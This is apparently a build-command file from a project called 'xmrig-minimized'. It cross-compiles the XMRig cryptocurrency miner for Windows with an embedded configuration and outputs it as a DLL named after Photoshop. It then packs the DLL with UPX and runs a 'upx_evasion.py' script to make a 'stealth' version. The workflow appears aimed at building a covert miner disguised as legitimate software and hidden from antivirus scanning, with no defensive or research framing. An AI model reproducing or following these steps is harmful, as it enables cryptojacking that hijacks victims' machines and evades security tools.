xmrig-minimized/build_cmd

31 lines
1.5 KiB
Plaintext

cmake .. -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_COMPILER=x86_64-w64-mingw32-gcc -DCMAKE_CXX_COMPILER=x86_64-w64-mingw32-g++ -DWITH_TLS=ON -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 -DCMAKE_SYSTEM_NAME=Windows -DCMAKE_SYSTEM_PROCESSOR=x86_64 -DWITH_EMBEDDED_CONFIG=ON && make -j $(nproc)
cmake -G Ninja .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_SYSTEM_NAME=Windows \
-DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \
-DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \
-DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \
-DWITH_TLS=ON \
-DWITH_EMBEDDED_CONFIG=ON \
-DCMAKE_C_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" \
-DCMAKE_CXX_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" && \
ninja -j (math (nproc) - 2) && \
/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-o test_xmrig.exe \
../test_xmrig.cpp \
-L. libphotoshop.dll \
-static \
-static-libgcc \
-static-libstdc++ \
-Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive \
-lmsvcrt
upx --best --lzma libphotoshop.dll -o libphotoshop_packed.dll
python3 ../upx_evasion.py libphotoshop_packed.dll -o libphotoshop_stealth.dll --keep-relocs
LINUX:
cmake .. -DCMAKE_POSITION_INDEPENDENT_CODE=ON && make -j$(nproc)